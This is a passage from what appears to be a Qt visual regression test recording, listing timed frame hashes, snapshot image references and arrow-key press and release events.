- key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1664 - hash: "8b26397ff1a83baa894f82594a12a190" - } - Frame { - msec: 1680 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1696 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1712 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1728 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1744 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1760 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1776 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1792 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1808 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1824 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1840 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1856 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1872 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1888 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1904 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1920 - image: "test3.1.png" - } - Frame { - msec: 1936 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1952 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1968 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 1984 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 2000 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2016 - hash: "f63308a7cd48a8cb4d413d17120f5a26" - } - Frame { - msec: 2032 - hash: "f63308a7cd48a8cb4d413d17120f5a26" - } - Frame { - msec: 2048 - hash: "2e97db8ed93524dc197e76cc2d270999" - } - Frame { - msec: 2064 - hash: "2b135d90684c0f94b8219c4b835b6da9" - } - Frame { - msec: 2080 - hash: "c700a76932bb3bf72868b9e95d095db2" - } - Frame { - msec: 2096 - hash: "08136d3c3de44ddab23d2d136ba1f310" - } - Frame { - msec: 2112 - hash: "de701d641e004b61a3c0609556f52fe0" - } - Frame { - msec: 2128 - hash: "4f7acd87f4de119ad88a53d2c9881037" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2144 - hash: "deaf3c8a4680ef6f52cb4674a97e0767" - } - Frame { - msec: 2160 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2176 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2192 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2208 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2224 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2240 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2256 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2272 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2288 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2304 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2320 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2336 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2352 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2368 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2384 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2400 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2416 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2432 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2448 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2464 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2480 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2496 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 2512 - hash: "224ade5c942415100b5418a11d043611" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2528 - hash: "fe67b3a48a8a074377be64f619d5922a" - } - Frame { - msec: 2544 - hash: "fe67b3a48a8a074377be64f619d5922a" - } - Frame { - msec: 2560 - hash: "088691f4f46f7a8c9a3b8ea766d9a437" - } - Frame { - msec: 2576 - hash: "bd747ea04c3b36378374f8ea1031458f" - } - Frame { - msec: 2592 - hash: "2ebd0e3373eb75a3ad986e203952f78a" - } - Frame { - msec: 2608 - hash: "b4d89e4f3aef9f351facd13bd83f3022" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2624 - hash: "091de1bd1719e1fa6d914cf9708f4ac6" - } - Frame { - msec: 2640 - hash: "0097d8ed156cb0c78c48dfacc557cba8" - } - Frame { - msec: 2656 - hash: "faeb379e01283cb21ea695e96727918d" - } - Frame { - msec: 2672 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2688 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2704 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2720 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2736 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2752 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2768 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2784 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2800 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2816 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2832 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2848 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2864 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2880 - image: "test3.2.png" - } - Frame { - msec: 2896 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2912 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2928 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2944 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2960 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 2976 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2992 - hash: "b00a29d67edc26e75f5298b2836d4e47" - } - Frame { - msec: 3008 - hash: "b00a29d67edc26e75f5298b2836d4e47" - } - Frame { - msec: 3024 - hash: "6e47c87b5063877a609e8d23ddf2d314" - } - Frame { - msec: 3040 - hash: "06f147a69c3e903905376ef1229290bf" - } - Frame { - msec: 3056 - hash: "5f02ff1a1207f17efd224ccc800b0057" - } - Frame { - msec: 3072 - hash: "6c0860fdb216bb79fd2da4647792628d" - } - Frame { - msec: 3088 - hash: "eb579f67620adb762722428d44a1d841" - } - Frame { - msec: 3104 - hash: "c579017a82e34a471a95f8a116a20b9e" - } - Frame { - msec: 3120 - hash: "bb5c08ff104b230829579dfb8015bdcc" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3136 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3152 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3168 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3184 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3200 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3216 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3232 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3248 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3264 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3280 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3296 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3312 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3328 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3344 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3360 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3376 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3392 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3408 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3424 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3440 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3456 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3472 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 3488 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3504 - hash: "5aa664f268433f2724a1ab2cea1d6d25" - } - Frame { - msec: 3520 - hash: "5aa664f268433f2724a1ab2cea1d6d25" - } - Frame { - msec: 3536 - hash: "9e4854fd0c533efa75aec7d9a8bc41dd" - } - Frame { - msec: 3552 - hash: "c4eee4eca804007dca6e6d9379cbfb1b" - } - Frame { - msec: 3568 - hash: "c59774f00d54c0353b41202a39fc0dbd" - } - Frame { - msec: 3584 - hash: "910e6b5b05530c60874eee00df0d62cf" - } - Frame { - msec: 3600 - hash: "5b606a7a697c6d53fbe42e33333f96cc" - } - Frame { - msec: 3616 - hash: "e1fce42312e8a31d74add4a447dd3df9" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3632 - hash: "6250cb9ea51309922cf0a6647593bfee" - } - Frame { - msec: 3648 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3664 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3680 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3696 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3712 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3728 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3744 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3760 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3776 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3792 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3808 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3824 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3840 - image: "test3.3.png" - } - Frame { - msec: 3856 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3872 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3888 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3904 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3920 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3936 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3952 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3968 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 3984 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 4000 - hash: "d6eecfb695deacae4bb2fe5adb2d5c3d" - } - Frame { - msec: 4016 - hash: "d6eecfb695deacae4bb2fe5adb2d5c3d" - } - Frame { - msec: 4032 - hash: "b48f481a8149c03139e29b619dbb3f3c" - } - Frame { - msec: 4048 - hash: "994ba7fc208bbf081d54384d82d0fc07" - } - Frame { - msec: 4064 - hash: "05d30293c12eb6a3e21cebd42bb1f383" - } - Frame { - msec: 4080 - hash: "f2b4140a5d26f241a27e2a3027785559" - } - Frame { - msec: 4096 - hash: "1189e519fd1611c5603e598fbcadca44" - } - Frame { - msec: 4112 - hash: "ee98893d95e55cb76966c0cfe29d237b" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 4128 - hash: "9ff3010efeb8707c864def782405ad4c" - } - Frame { - msec: 4144 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4160 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4176 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4192 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4208 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4224 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4240 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4256 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4272 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4288 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4304 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4320 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4336 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4352 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4368 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4384 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4400 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4416 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4432 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4448 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4464 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4480 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4496 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4512 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4528 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4544 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4560 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4576 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4592 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4608 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4624 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4640 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4656 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4672 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4688 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4704 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4720 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4736 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4752 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4768 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4784 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4800 - image: "test3.4.png" - } - Frame { - msec: 4816 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4832 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4848 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4864 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4880 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4896 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4912 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4928 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4944 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4960 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4976 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 4992 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 5008 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 5024 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 5040 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 5056 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 5072 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 5088 - hash: "c842d544f87332bc133833e8966240ee" - } - Frame { - msec: 5104 - hash: "c842d544f87332bc133833e8966240ee" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5120 - hash: "a857238777462319fcedd4f359ce1a04" - } - Frame { - msec: 5136 - hash: "a857238777462319fcedd4f359ce1a04" - } - Frame { - msec: 5152 - hash: "d9248d1257bf0232dcdf29fca7536ad1" - } - Frame { - msec: 5168 - hash: "0405e029cc4b2fa80761c06fb8898b0d" - } - Frame { - msec: 5184 - hash: "a36fb7e32e6aafbb84b62ef56be3cf70" - } - Frame { - msec: 5200 - hash: "9846c73bbe57277bd36bbca1c489e644" - } - Frame { - msec: 5216 - hash: "8f4840715082c48d520ddb55501cf8eb" - } - Frame { - msec: 5232 - hash: "478fde3a6fd8cecc222b8c16743d231f" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5248 - hash: "b2bb760c93d26c6db21ce6beccd36b66" - } - Frame { - msec: 5264 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5280 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5296 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5312 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5328 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5344 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5360 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5376 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5392 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5408 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5424 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5440 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5456 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5472 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5488 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5504 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5520 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5536 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5552 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5568 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5584 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5600 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5616 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5632 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5648 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5664 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5680 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5696 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Frame { - msec: 5712 - hash: "1ef605e1a68ff993f4f971a85a6bee97" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5728 - hash: "4780d8094833831f27d1aff3e0f9689f" - } - Frame { - msec: 5744 - hash: "4780d8094833831f27d1aff3e0f9689f" - } - Frame { - msec: 5760 - image: "test3.5.png" - } - Frame { - msec: 5776 - hash: "93c8d7980de378a055b7ca824882ae4e" - } - Frame { - msec: 5792 - hash: "e0abe402f89c5d84e5a02f0e4bcbd5e3" - } - Frame { - msec: 5808 - hash: "067ca20bcfab459a28af7e8dc2830032" - } - Frame { - msec: 5824 - hash: "d27dc1a08c66cf5f4a84efe3be522ec3" - } - Frame { - msec: 5840 - hash: "639f7555adc7958e807c2e774694fe25" - } - Frame { - msec: 5856 - hash: "b55f5fcbc2284736695049b2cdc9c8ce" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5872 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 5888 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 5904 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 5920 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 5936 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 5952 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 5968 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 5984 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6000 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6016 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6032 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6048 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6064 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6080 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6096 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6112 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6128 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6144 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6160 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6176 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6192 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6208 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6224 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6240 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6256 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Frame { - msec: 6272 - hash: "f209867bbf74dbe0385655a522e322f1" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 6288 - hash: "48910947dd160b33251c54ff45f6a0db" - } - Frame { - msec: 6304 - hash: "48910947dd160b33251c54ff45f6a0db" - } - Frame { - msec: 6320 - hash: "20b0f988a1517d67a0d3c78ae8af4e5a" - } - Frame { - msec: 6336 - hash: "355b5b161176c31bcbae198b1581f59b" - } - Frame { - msec: 6352 - hash: "19cbb853a93bd062a53d7908df54bfbd" - } - Frame { - msec: 6368 - hash: "13fbe723f288cffd09f0a86b71457161" - } - Frame { - msec: 6384 - hash: "0014ed3b1a868cf75bfffedb52674c5c" - } - Frame { - msec: 6400 - hash: "a1c444be02b90e69319096b8a508947d" - } - Frame { - msec: 6416 - hash: "b88a3f2f3290e4262757b1f5741cb5ce" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 6432 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6448 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6464 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6480 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6496 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6512 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6528 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6544 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6560 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6576 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6592 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6608 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6624 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6640 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6656 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6672 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6688 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6704 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6720 - image: "test3.6.png" - } - Frame { - msec: 6736 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6752 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6768 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6784 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6800 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6816 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6832 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Frame { - msec: 6848 - hash: "dc708a762ba7f1120eb14105571943f8" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 6864 - hash: "a44bb76233c69780c178dddd79cc1968" - } - Frame { - msec: 6880 - hash: "a44bb76233c69780c178dddd79cc1968" - } - Frame { - msec: 6896 - hash: "154b11fd0468aa18d1ef1895f2e2923c" - } - Frame { - msec: 6912 - hash: "fe7ecb02e63fbb7584405e7162f0ee21" - } - Frame { - msec: 6928 - hash: "90b6fea69d106c628a9c7ff23a97e6c2" - } - Frame { - msec: 6944 - hash: "3e233e837e24976d441b6cabc3b74098" - } - Frame { - msec: 6960 - hash: "7a490f7be5c4c0ae09421f884e9adadb" - } - Frame { - msec: 6976 - hash: "462d44603dd661ccf126c81197608056" - } - Frame { - msec: 6992 - hash: "0b7ca73497c37255bccad6787d690236" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7008 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7024 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7040 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7056 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7072 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7088 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7104 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7120 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7136 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7152 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7168 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7184 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7200 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7216 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7232 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7248 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7264 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7280 - hash: 